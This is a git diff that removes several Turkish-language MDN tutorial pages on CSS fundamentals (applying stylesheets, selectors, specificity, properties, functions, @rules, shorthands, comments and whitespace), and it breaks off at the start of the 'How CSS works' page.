- -<p>Düz bir HTML belgesine genel olarak herkes erişebilir — bu belgeyi biçimlendirmeye başladığında onu daha az erişilebilir hale getirmemen önemlidir.</p> -</div> - -<h2 id="Seçicileri_ve_birleştiricileri_birleştirmek">Seçicileri ve birleştiricileri birleştirmek</h2> - -<p>Birden çok seçici ve birleştiriciyi bir araya getirebileceğini belirtmekte fayda var. Örneğin:</p> - -<pre class="brush: css notranslate">/* <article> içinde bulunan <p>'nin içndeki <span> seçer */ -article p span { ... } - -/* <h1>'den sonra gelen <ul>'den sonraki <p>'yi seçer. */ -h1 + ul + p { ... }</pre> - -<p>Birden çok türü bir arada da birleştirebilirsin. Aşağıdakileri koduna eklemeyi dene:</p> - -<pre class="brush: css notranslate">body h1 + p .special { - color: yellow; - background-color: black; - padding: 5px; -}</pre> - -<p>Bu kural, <code><body></code> öğesinin içerisinde bulunan <code><h1></code> öğesinden sonra ilk gelen <code>special</code> sınıfına dahil <code><p></code> öğesini seçer. Vay be!</p> - -<p>Orjinal HTML'de şekil verilmeyen tek öğe <code><span class="special"></code>dir.</p> - -<p>Şu anda bu size karmaşık geliyorsa endişelenme — daha fazla CSS yazdıkça buna anlamaya başlayacaksın.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu derste, CSS kullanarak bir belgeye şekil uygulamanın birkaç yolunu inceledik. Konunun ilerleyen bölümlerinde bu bilgiyi geliştireceğiz. Şu anda metne şekil vermeyi, öğeleri seçmenin farklı yollarıyla kurallar oluşturmayı ve MDN belgelerinde nitelikleri ve atanabilen değerler hakkında araştırma yapabilecek kadar bilgiye sahipsin.</p> - -<p>Bir sonraki derste CSS'in nasıl yapılandırıldığına bir göz atacağız.</p> - -<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/First_steps/What_is_CSS">CSS Nedir?</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS nasıl yapılandırılır</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır?</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Öğrendiklerimizi uygulamak</a></li> -</ol> diff --git a/files/tr/learn/css/first_steps/how_css_is_structured/index.html b/files/tr/learn/css/first_steps/how_css_is_structured/index.html deleted file mode 100644 index c0bea7bf98..0000000000 --- a/files/tr/learn/css/first_steps/how_css_is_structured/index.html +++ /dev/null @@ -1,552 +0,0 @@ ---- -title: CSS nasıl yapılandırılır -slug: Learn/CSS/First_steps/How_CSS_is_structured -tags: - - Acemi - - Beginner - - CSS - - HTML - - Learn - - Ogrenim - - Ozellikler - - Selectors - - Structure - - Yapı - - beyaz boşluk - - comments - - değerler - - kısaltmalar - - nitelikler - - properties - - seçiciler - - shorthand - - values - - whitespace - - yorumlar -translation_of: Learn/CSS/First_steps/How_CSS_is_structured -original_slug: Öğren/CSS/Ilk_adimlar/How_CSS_is_structured ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</div> - -<p class="summary">Artık CSS'in amacını ve kullanımını anlamaya başladığına göre, CSS'in yapısını inceleyelim.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Önkoşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler, HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü incele) ve <a href="/tr/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">CSS'in nasıl çalıştığı hakkın</a> bilgi.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS'in temel sözdizimi yapılarını ayrıntılı olarak öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="CSSi_HTMLye_uygulama">CSS'i HTML'ye uygulama</h2> - -<p>İlk olarak, bir belgeye CSS uygulamak için üç yöntemi inceleyelim: harici bir stil sayfasıyla, dahili bir stil sayfasıyla ve satır içi stillerle.</p> - -<h3 id="Harici_stil_sayfası">Harici stil sayfası</h3> - -<p>Harici bir stil sayfası, <code>.css</code> uzantısına sahip, içerisinde CSS kurallarını içeren ayrı bir dosyadır. Bu, CSS'i bir HTML belgesine getirmenin en yaygın ve kullanışlı yöntemidir. Tek bir CSS dosyasını birden çok web sayfasına bağlayarak hepsini aynı CSS stil sayfasıyla şekillendirebilirsin. <a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e Başlarken</a> bölümünde harici bir stil sayfasını web sayfamıza bağlamıştık.</p> - -<p>Bir HTML <code><link></code> etiketi ile harici bir CSS stil sayfası dosyasına başvuruyoruz :</p> - -<pre class="brush: html notranslate"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>CSS deneyimim</title> - <link rel="stylesheet" href="styles.css"> - </head> - <body> - <h1>Merhaba Dünya!</h1> - <p>Bu benim ilk CSS örneğim</p> - </body> -</html></pre> - -<p>CSS stil sayfası dosyası aşağıdaki şekilde görünebilir:</p> - -<pre class="brush: css notranslate">h1 { - color: blue; - background-color: yellow; - border: 1px solid black; -} - -p { - color: red; -}</pre> - -<p>{{htmlelement("link")}} etiketi <code>href</code> niteliğinde belirtilen yokdaki bir dosyaya işaret ediyor. Yukarıdaki örnekte, CSS dosyası HTML belgesiyle aynı klasördeydi, ancak dosya farklı bir klasöre de yerleştirilip yolu belirtebiliriz. İşte üç tane örnek:</p> - -<pre class="brush: html notranslate"><!-- CSS dosyası geçerli dizinin içindeki 'styles' alt klasörünün içerisinde --> -<link rel="stylesheet" href="styles/style.css"> - -<!-- CSS dosyası geçerli dizinin içindeki 'styles' alt klasörünün içerindeki 'general' alt klasörünün içinde--> -<link rel="stylesheet" href="styles/general/style.css"> - -<!-- CSS dosyası geçerli dizinin bir üst klasöründe bulunan 'styles' klasörünün içinde --> -<link rel="stylesheet" href="../styles/style.css"></pre> - -<h3 id="Dahili_stil_sayfası">Dahili stil sayfası</h3> - -<p>Dahili bir stil sayfası, HTML belgesinin içinde bulur. Dahili bir stil sayfası oluşturmak için, CSS'i HTML içindeki {{htmlelement("head")}} etiketi içerisinde ki, {{htmlelement("style")}} etiketi içerisinde yetleştirmeliyiz.</p> - -<p>Dahili bir stil sayfasının HTML'si şöyle görünebilir:</p> - -<pre class="brush: html notranslate"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>CSS deneyimim</title> - <style> - h1 { - color: blue; - background-color: yellow; - border: 1px solid black; - } - - p { - color: red; - } - </style> - </head> - <body> - <h1>Merhaba Dünya!</h1> - <p>Bu benim ilk CSS örneğim</p> - </body> -</html></pre> - -<p>Bazı durumlarda, dahili stil sayfaları faydalı olabilir. Örneğin, harici CSS dosyalarını değiştirmenin engellendiği bir içerik yönetim sistemiyle çalşıyorsundur.</p> - -<p>Ancak birden fazla sayfası olan siteler için dahili stil sayfası daha az verimli bir çalışma yöntemi haline gelir. Dahili stil sayfalarını kullanarak, birden çok sayfaya tek bir CSS stili uygulamak için, stili kullanacak her web sayfaya dahili CSS sayfalarını eklemen gerekmektedir. Verimlilik kaybı site bakımınada yansır, çünkü dahili stil sayfalarında ki CSS içerisinde basit bir stil değişikliğini bile birden çok web sayfasında düzenlemek zorunda kalırsın.</p> - -<h3 id="Satır_içi_stiller">Satır içi stiller</h3> - -<p>Satır içi stiller, bir <code>style</code> niteliği içinde bulunan tek bir HTML öğesini etkileyen CSS bildirimleridir. Bir HTML belgesinde satır içi stilin uygulanması şu şekilde görünebilir:</p> - -<pre class="brush: html notranslate"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>CSS deneyimim</title> - </head> - <body> - <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Merhaba Dünya!</h1> - <p style="color:red;">Benim ilk CSS örneğim</p> - </body> -</html></pre> - -<p><strong>Mümkünse CSS'i bu şekilde kullanmaktan sakının.</strong> En iyi uygulamanın tam tersidir. Birincisi, bakım için CSS'in en az verimli uygulamasıdır. Bir stil değişikliği, tek bir web sayfasında birden fazla düzenleme gerektirebilir. İkincisi, satır içi CSS kodlarıyla HTML içeriklerini karıştırarak her şeyin okunmasını ve anlaşılmasını zorlaştırır. Kodu ve içeriği ayırmak, web sitesinde çalışan herkes için bakımı kolaylaştırır.</p> - -<p>Satır içi stillerin daha yaygın olduğu birkaç durum vardır. Çalışma ortamın çok kısıtlayıcıysa, satır içi stilleri kullanmaya başvurman gerekebilir. Örn; belki bir CMS'n yalnca HTML gövdesini düzenlemene izin verir. Ayrıca, olabildiğince çok e-posta istemcisiyle uyumluluk sağlamak için, e-posta içindeki HTML'de çok sayıda satır içi stil kullanabilirsin.</p> - -<h2 id="CSS_ile_oynamak">CSS ile oynamak</h2> - -<p>Aşağıdaki alıştırma için bilgisayarında bir klasör oluşturun. Klasörü istediğin gibi adlandırabilirsin. Klasörün içinde, iki dosya oluşturmak için aşağıdaki metni kopyalayın:</p> - -<p><strong>index.html:</strong></p> - -<pre class="brush: html notranslate"><!DOCTYPE html> -<html lang="en"> - <head> - <meta charset="utf-8"> - <title>CSS deneyimim</title> - <link rel="stylesheet" href="styles.css"> - </head> - <body> - - <p>Test HTML'ni burada oluşturun</p> - - </body> -</html></pre> - -<p><strong>styles.css:</strong></p> - -<pre class="brush: css notranslate">/* Create your test CSS here */ - -p { - color: red; -}</pre> - -<p>Denemek ve değişiklik yapmak için hem HTML dosyandaki <code><body></code> etiketi arasına hemde CSS stil sayfana öğeler ve kurallar ekle.</p> - -<p>Aşağıdaki etkileşimle düzenleyiciyi de kullanabilirsin..</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}} </p> - -<p>Oku ve eğlen!</p> - -<h2 id="Seçiciler">Seçiciler</h2> - -<p>Bir seçici, stil uygulayacağı içerik için HTML'yi hedefler. <a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a> dersinde çeşitli seçiciler keşfetmiştik. Eğer CSS içeriğe istenildiği gibi uygulanmıyorsa, seçicin istediğin şekilde eşleşmiyor olabilir.</p> - -<p>Her CSS kuralı, tarayıcıya kuralların hangi öğe veya öğelere uygulanması gerektiğini söylemek için bir seçici veya seçici listesi ile başlar. Aşağıdaki tüm örnekler geçerli seçicilerdir.</p> - -<pre class="brush: css notranslate">h1 /*seçici*/ -a:link /*seçici*/ -.manythings /*seçici*/ -#onething /*seçici*/ -* /*genel seçici*/ -.box p /*seçici*/ -.box p:first-child /*seçici*/ -h1, h2, .intro /*seçici listesi*/</pre> - -<p>Yukarıdaki seçicileri kullanan bazı CSS kuralları oluşturmayı dene. Seçiciler tarafından şekillendirilecek HTML öğeleri ekle. Yukarıdaki sözdiziminden herhangi birine aşina değilsen, MDN'yi aramayı dene.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: bir sonraki kısımda seçiciler hakkında daha fazla bilgi edineceksini <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a>.</p> -</div> - -<h3 id="Özgüllük"><u>Özgüllük</u></h3> - -<p>İki seçicinin aynı HTML öğesini hedeflediği senaryolarla karşılaşabilirsin. Paragraf <code><p></code> metnini maviye ayarlayan ayrıca tanımlandığı öğenin rengini kırmızıya ayarlayan bir sınıf kuralı olan stil sayfasını düşünün</p> - -<pre class="brush: css notranslate">.special { - color: red; -} - -p { - color: blue; -}</pre> - -<p>HTML belgemizde de bir <code>special</code> sınıfına ait paragrafımız olduğunu varsayalım. Her iki kural da uygulanır. Fakat hangi kural baskındır? Mavi veya kırmızı paragraf menini görmeyi bekliyor musun?</p> - -<pre class="brush: html notranslate"><p class="special">Benim rengim nedir?</p></pre> - -<p>CSS dili, bir çakışma durumunda hangi seçicinin daha güçlü olduğunu kontrol etmek için bazı kurallara sahiptir. Bu kurallara <strong>art arda denetim</strong> ve <strong>özgüllük</strong> denir. Aşağıdaki kod bloğunda, seçici için iki kural tamınlarız. Ancak <code><p></code> paragraf metni mavi olacaktır. Bunun nedeni, paragraf metnini mavi olarak ayarlayan bildirimin diğer bildirimden daha sonra tanımlanmış olması. Seçimlerin çakışması durumunda sonraki stiller, kendilerinden önce tanımlanmış stil kurallarını geçersiz kılıp yerlerine geçerler. Bu <strong>art arda denetim</strong> kuralıdır.</p> - -<pre class="brush: css notranslate">p { - color: red; -} - -p { - color: blue; -}</pre> - -<p>Bununla birlikte, sınıf seçicisi ile öğe seçicisi arasındaki çakışmaya sahip bir önceki örneğimizde, sınıf seçici kırmızı paragraf metnini oluşturarak baskın seçici olduğunu kanıtlar. Peki çakışan bir stil daha sonraki satırlada görünen bir seçiçiye nasıl baskın olabilir? Bir sınıf, öğe seçiciden daha fazla özgüllüğe sahip olduğu gibi daha karakteristik olarak derecelendirilir, bu nedenle diğer çakışan stil bildirimini iptal eder.</p> - -<p>Kendin için bunu dene! Bir HTML ekle ve ardından bu iki kuralı stil sayfana ekle. Ardından <code>p.special</code> kuralının <code>p{....</code>} kuralına baskın geldiğini izle.</p> - -<p>Özgüllük ve art arda denetim kuralları ilk bakışta karmaşık görünebilir. CSS'e aşına oldukça bu kuralları anlamak daha kolay olcak. Bir sonraki kısımda <a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Ard arda denetim ve miras</a> bölümü özgüllüğün nasıl hesaplanacağı da dahil olmak üzere bunu ayrıntılı olarak açıklamaktadır.</p> - -<p>Şimdilik, özgüllüğün var olduğunu unutmayın. Bazen, stil sayfasındaki başka bir şeyin daha karakteristik olması nedeniyle CSS beklediğin gibi uygulanmayabilir. Bir öğeye birden fazla kuralın uygulanabileceğini anlamak, bu tür sorunları çözmenin ilk adımıdır.</p> - -<h2 id="Nitelikler_ve_değerler">Nitelikler ve değerler</h2> - -<p>En basit düzeyinde, CSS iki bileşenden oluşur:</p> - -<ul> - <li><strong>Nitelik</strong>: Bunlar, değiştirmek istediğin stilin niteliklerini gösteren, okunabilir tanımlayacılardır. Örn; <code><a href="/tr/docs/Web/CSS/font-size">font-size</a></code>, <code><a href="/tr/docs/Web/CSS/width">width</a></code>, <code><a href="/tr/docs/Web/CSS/background-color">background-color</a></code>.</li> - <li><strong>Değer</strong>: Her niteliğe bir değer atanır. Bu değer, niteliğin nasıl biçimlendirileceğini gösterir.</li> -</ul> - -<p>Aşağıdaki örnek, tek bir niteliği ve değeri vurgulamaktadır. Nitelik adı <code><strong>color</strong></code> ve değeri <code><strong>blue</strong></code>.</p> - -<p><img alt="A declaration highlighted in the CSS" src="https://mdn.mozillademos.org/files/16498/declaration.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> - -<p>Bir nitelik bir değerle eşleştirildiğinde, bu eşlemeye CSS bildirimi adı verilir. CSS bildirimleri CSS Bildirim Blokları içinde bulunur. Aşağıdaki örnekte, vurgulanan CSS bildirim bloğunu tanımlar.</p> - -<p><img alt="A highlighted declaration block" src="https://mdn.mozillademos.org/files/16499/declaration-block.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> - -<p>Son olarak, CSS kural kümeleri(veya CSS kuralları) oluşturmak için CSS bildirim blokları seçicilerle eşleştirilir. Aşağıdaki örnekte iki kural içerir: biri <code><p></code> etiketi için, diğeri <code><h1></code> etiketi için. Renkli vurgulanan CSS kuralı <code><h1></code> etiketinin stilini tanımlar.</p> - -<p><img alt="The rule for h1 highlighted" src="https://mdn.mozillademos.org/files/16500/rules.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> - -<p>CSS niteliklerini belirli değerlere ayarlamak, bir belge için düzen ve stil tanımlamanın birincil yoludur. CSS motoru, bir sayfanın her öğesi için hangi bildirimlerin geçerli olduğunu hesaplar.</p> - -<div class="blockIndicator warning"> -<p><strong>Önemli: </strong>CSS nitelikleri ve değerleri büyük/küçük harfe duyarlıdır. Her çifteki nitelik ve değer iki nokta üst üste ile ayrılır. (<code>:</code>)</p> -</div> - -<p><strong>Aşağıda listenen niteliklerin farklı değerlerini arayın. Farklı HTML öğelerine stil uygulayan CSS kurallar yazın: </strong></p> - -<ul> - <li><strong>{{cssxref("font-size")}}</strong></li> - <li><strong>{{cssxref("width")}}</strong></li> - <li><strong>{{cssxref("background-color")}}</strong></li> - <li><strong>{{cssxref("color")}}</strong></li> - <li><strong>{{cssxref("border")}}</strong></li> -</ul> - -<div class="warning"> -<p><strong>Önemli</strong>: Bir nitelik bilinmiyorsa veya belirli bir nitelik için bir değer geçerli değilse, beyan geçersiz olarak işlenir. Tarayıcının CSS motoru tarafından tamamem yok sayılır.</p> -</div> - -<div class="warning"> -<p><strong>Önemli</strong>: CSS'de (ve diğer web standartlarında), dil varyasyonunun veya belirsizliğin olduğu yerlerde ABD yazımının standart olduğu kabul edilmiştir. </p> -</div> - -<h3 id="Fonksiyonlar">Fonksiyonlar</h3> - -<p>Değerlerin çoğu nispeten basit anahtar kelimeler veya sayısal değerler olsa da, bir işlev biçimini alan bazı değerler vardır. <code>calc()</code> fonksiyonu ele alalım, CSS içinde matematiksel işlev yapabilen bir fonksiyondur.</p> - -<div id="calc_example"> -<pre class="brush: html notranslate"><div class="outer"><div class="box">İç kutu genişliği 90% - 30px.</div></div></pre> - -<pre class="brush: css notranslate">.outer { - border: 5px solid black; -} - -.box { - padding: 10px; - width: calc(90% - 30px); - background-color: rebeccapurple; - color: white; -}</pre> -</div> - -<p>Bu şu şekilde çalışır:</p> - -<p>{{EmbedLiveSample('calc_example', '100%', 200)}}</p> - -<p>Bu işlev, işlev adı ve işlevin değerlerini kapsayan parantezlerden oluşur. <code>calc()</code> yukarıdaki örnekte, kutunun genişliğini değerler içeren blok genişliğinin %90 eksi 30piksel olmasını tanımlar. Hesaplamanın sonucu, önceden hesaplanabilen ve sabit bir değer olarak girilebilen değer değildir.</p> - -<p>Başka bir örnek {{cssxref("transform")}} niteliği, <code>rotate()</code>fonksiyonundan dönen değerleri alabilir.</p> - -<div id="transform_example"> -<pre class="brush: html notranslate"><div class="box"></div></pre> - -<pre class="brush: css notranslate">.box { - margin: 30px; - width: 100px; - height: 100px; - background-color: rebeccapurple; - transform: rotate(0.8turn) -}</pre> -</div> - -<p>Yukarıdaki kodun çıktısı şuna benzer:</p> - -<p>{{EmbedLiveSample('transform_example', '100%', 200)}}</p> - -<p><strong>Aşağıdaki listelenen niteliklerin farklı değerlerini arayın. Farklı HTML öğelerine stil uygulayan CSS kuralları yazın: </strong></p> - -<ul> - <li><strong>{{cssxref("transform")}}</strong></li> - <li><strong>{{cssxref("background-image")}}, in particular gradient values</strong></li> - <li><strong>{{cssxref("color")}}, in particular rgb/rgba/hsl/hsla values</strong></li> -</ul> - -<h2 id="ruleskurallar">@rules(kurallar)</h2> - -<p>CSS <code><a href="/tr/docs/Web/CSS/At-rule">@rules</a></code> ("et-rules" olarak teleffuz edilier), CSS'in ne yapması gerektiği ve nasıl davranması gerektiği konusunda talimatlar sağlar. Bazıları <code>@rules</code> sadece bir anahtar ve bir değerden ibarettir. Örn; <code>@import</code> bir stil sayfasını başka bir CSS stil sayfasına aktarır:</p> - -<pre class="brush: css notranslate">@import 'styles2.css';</pre> - -<p>Karşılaşabileceğin en yaygın <code>@rule</code> kurallarından birtanesi <code>@media</code>, <a href="/tr/docs/Web/CSS/Media_Queries">medya sorguları</a> oluşturmak için kullanılr. Medya sorguları, CSS stilini uygualamak için koşullu mantık kullanır.</p> - -<p>Aşağıdaki örnekte, stil sayfası <code><body></code> öğesi için pembe renkli bir arka plan tanımlayan bir medya sorgusu izler.</p> - -<pre class="brush: css notranslate">body { - background-color: pink; -} - -@media (min-width: 30em) { - body { - background-color: blue; - } -}</pre> - -<p>Eğitimler boyunda diğer <code>@rules</code> kurallarıyla karılaşacaksın.</p> - -<p><strong>Görünüm genişliğine göre stilleri değiştiren bir ortam sorgusu ekleyip ekeleyemeceğini görün. Sonucu görmek için tarayıcı pencerenin genişliğini değiştirin.</strong></p> - -<h2 id="Kısaltmalar">Kısaltmalar</h2> - -<p>{{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}}, ve {{cssxref("margin")}} gibi bazı niteliklere <strong>kısaltmalar</strong> denir<strong>.</strong> Bunun nedeni tekbir satırda birden fazla değer alabilmeleridir.</p> - -<p>Örneğin, bu tek satırlık kod:</p> - -<pre class="brush: css notranslate">/* dolgu ve kenar boşluğu gibi 4 ayrı değer uygulanır. - Sırasıyla üst, sağ, alt, sol (üsten başlayarak saat - yönünde). Ayrıca kısaltma olarak kullanılan başka - niteliklerde vardır.*/ -padding: 10px 15px 15px 5px;</pre> - -<p>şu dört kod satırına eşdeğerdir:</p> - -<pre class="brush: css notranslate">padding-top: 10px; -padding-right: 15px; -padding-bottom: 15px; -padding-left: 5px;</pre> - -<p>Bu tek satır:</p> - -<pre class="brush: css notranslate">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> - -<p>Şu beş satıra eşdeğerdir:</p> - -<pre class="brush: css notranslate">background-color: red; -background-image: url(bg-graphic.png); -background-position: 10px 10px; -background-repeat: repeat-x; -background-attachment: fixed;</pre> - -<p>Kursun ilerleyen bölümlerinde, birçok kısaltma örneğiyle karşılaşacaksın. MDN'nin <a href="/tr/docs/Web/CSS/Reference">CSS referensı</a> sayfaları herhangi bir kısaltma niteliği hakkında daha fazla bilgi için iyi bir kaynaktır.</p> - -<p><strong>Nasıl çalıştığına daha iyi aşina olmak için kendi CSS alıştırmanda yukarıdaki bildirimleri kullanmayı dene. Ayrıca farklı değerleri deneyebilirsin.</strong></p> - -<div class="blockIndicator warning"> -<p><strong>Uyarı</strong>: CSS kısaltmasını kullanmanın dikkat edilmesi gekeren yönü, atlanan değerlerin sıfırlanmasıdır. CSS kısaltmasında belirtilmeyen bir değer, tarayacının varsayılan değerine geri döner. Bu da, <strong>önceden ayarlanmış değeri geçersiz kılabileceği</strong> anlamına gelir.</p> -</div> - -<h2 id="Açıklamalar">Açıklamalar</h2> - -<p>Herhangi bir kodlama çalışmasında olduğu gibi, CSS ile birlikte açıklama yazmak iyi bir uygulamadır. Bu, daha sonra düzeltmeler veya geliştirmeler için geri döndüğünde kodun nasıl çalıştığını hatırlamana yardımcı olur. Ayrıca başkalarının da kodu anlamasına yardımcı olur.</p> - -<p>CSS açıklamaları <code>/*</code> ile başlar ve <code>*/</code> ile biter. Aşağıdaki örnekteki açıklamalar, kodun farklı bölümlerinin başlangıcını işaret etmektedir. Bu, kod tanımlamasında büyüdükçe gezinmeye yardımcı olur. Bu tür açıklamalar yerinde olduğunda, kod düzenleyicinde açıklama aramak, bir kod bölümünü verimli bir şekilde bulmanın bir yolu haline gelir.</p> - -<pre class="brush: css notranslate">/* Temel öğe elamanını biçimlendirin. */ -/* -------------------------------------------------------------------------------------------- */ -body { - font: 1em/150% Helvetica, Arial, sans-serif; - padding: 1em; - margin: 0 auto; - max-width: 33em; -} - -@media (min-width: 70em) { - /* Genel yazı tipi boyutunu özel olarak inceleyelim. Büyük ekran - veya pencerede daha iyi okunabilirlilik için yazı tipi - boyutunu arttırıyoruz. */ - body { - font-size: 130%; - } -} - -h1 {font-size: 1.5em;} - -/* DOM'da yuvalanmış belili öğeleri biçimlendirin */ -/* -------------------------------------------------------------------------------------------- */ -div p, #id:first-line { - background-color: red; - border-radius: 3px; -} - -div p { - margin: 0; - padding: 1em; -} - -div p + p { - padding-top: 0; -}</pre> - -<p>"Kod açıklamaları" CSS kodunu deneme için devre dışı bırakmak için de yararlıdır. Aşağıdaki örnekte, <code>.special</code> sınıfı açıklama içerisine alınıp devre dışı bırakılmıştır.</p> - -<pre class="brush: css notranslate">/*.special { - color: red; -}*/ - -p { - color: blue; -}</pre> - -<p><strong>CSS'ne açıklamalar ekle!</strong></p> - -<h2 id="Beyaz_boşluk">Beyaz boşluk</h2> - -<p>Beyaz boşluk; gerçek boşluklar, sekmeler ve yeni satırlar(Enter) anlamına gelir. Tarayıcıların HTML'deki beyaz boşluğu yok sayması gibi, tarayıcılar da CSS içindeki beyaz boşluğu yok sayar. Beyaz boşluklar okunabilirliliği nasıl geliştirdiklerini görebilirsin.</p> - -<p>Aşağıdaki örnekte, her bildirim (Kural bağlangıcı ve bitişi) kendi satırına sahiptir. Bu da CSS yazmanın iyi bir yolur. CSS'i okumayı ve anlamayı kolaylaştırır.</p> - -<pre class="brush: css notranslate">body { - font: 1em/150% Helvetica, Arial, sans-serif; - padding: 1em; - margin: 0 auto; - max-width: 33em; -} - -@media (min-width: 70em) { - body { - font-size: 130%; - } -} - -h1 { - font-size: 1.5em; -} - -div p, -#id:first-line { - background-color: red; - border-radius: 3px; -} - -div p { - margin: 0; - padding: 1em; -} - -div p + p { - padding-top: 0; -} -</pre> - -<p id="Very_compact">Aşağıdaki örnek, yukarıdaki CSS kodunun sıkıştırılmış(fazlalık boşlukların temizlenmiş) halidir. Yukarıdaki örnekle aynı işi yapmaktadır fakat okunurluluğu oldukça zordur.</p> - -<pre class="brush: css notranslate">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} -@media (min-width: 70em) { body {font-size: 130%;} } - -h1 {font-size: 1.5em;} - -div p, #id:first-line {background-color: red; border-radius: 3px;} -div p {margin: 0; padding: 1em;} -div p + p {padding-top: 0;} -/*Ve hatta*/ -body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} @media (min-width: 70em) { body {font-size: 130%;} } h1 {font-size: 1.5em;} div p, #id:first-line {background-color: red; border-radius: 3px;} div p {margin: 0; padding: 1em;} div p + p {padding-top: 0;} -</pre> - -<p>Kendi projelerin için, kodunu kişisel tercihine göre biçimlendireceksin. Takım projeleri için, bir takımın veya projenin kendi stil rehberi olduğunu göreceğin çalışmalarında olacaktır.</p> - -<div class="blockIndicator warning"> -<p><strong>Önemli:</strong> CSS bildirimlerindeki beyaz boşuk değerleri ayırsa da, <strong>nitelik adlarında hiçbir zaman boşluk olmaz</strong>.</p> -</div> - -<p>Örneğin, bu geçerli bir CSS beyanıdır:</p> - -<pre class="brush: css notranslate">margin: 0 auto; -padding-left: 10px;</pre> - -<p>Fakat bu beyanlar geçersizdir:</p> - -<pre class="brush: css notranslate">margin: 0auto; -padding- left: 10px;</pre> - -<p>Aralık hatalarını görüyor musun? ilk olarak <code>margin</code> niteliği <code>0auto</code> değerini geçerli bir değer olarak tanımaz. Tanımın <code>0auto</code> yu iki ayrı değer olarak alması amaçlanmıştır. <code>0</code> ve <code>auot</code> olarak. İkinci <code>padding-</code> geçerli bir nitelik olarak tanınmıyor. Doğru nitelik adı (<code>padding-left</code>) hatalı bir boşlukla ayrılmıştır.<br> - <br> - Her zaman birbirinden farklı değerleri en az bir boşlukla ayırdığından emin olmalısın. Nitelik adlarını ve nitelik değerlerini, bölünmüş tek dizeler olarak bir arada tutun.</p> - -<pre class="brush: css notranslate">/* bölünmüş tek dizeler */ -margin: 0 auto; /*tek dize*/ -padding-left: 10px; /*tek dize*/ - -/* aşağıdaki kodlar çalışır fakat okuması zor*/ -margin: -0 -auot; -padding-left: -10px; -</pre> - -<p><strong>Boşluğun CSS'i nasıl bozabileceğini öğrenmek için test CSS'izin içinde boşluk bırakarak oynamayı dene.</strong></p> - -<h2 id="Sıradaki_ne">Sıradaki ne?</h2> - -<p>Tarayıcının bir web sayfasını görüntülemek için HTML ve CSS'i nasıl kullandığını anlamak faydalıdır. Sonraki makale <a href="/tr/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır</a>, bunu açıklar.</p> - -<p>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/First_steps/What_is_CSS">CSS nedir?</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Getting_started">CSS'e başlarken</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS nasıl yapılandırılır</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/How_CSS_works">CSS nasıl çalışır</a></li> - <li><a href="/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Öğrendiklerini uygulama</a></li> -</ol> diff --git a/files/tr/learn/css/first_steps/how_css_works/index.html b/files/tr/learn/css/first_steps/how_css_works/index.html deleted file mode 100644 index 434e8f3a84..0000000000 --- a/files/tr/learn/css/first_steps/how_css_works/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: CSS nasıl çalışır -slug: Learn/CSS/First_steps/How_CSS_works -tags: - - Başlangıç - - Beginner - - CSS - - DOM - - Eğitim - - Learn -translation_of: Learn/CSS/First_steps/How_CSS_works -original_slug: Öğren/CSS/Ilk_adimlar/CSS_nasil_calisir ---- -<p>{{LearnSidebar}}<br> - {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> - -<p class="summary">CSS'in temellerini, 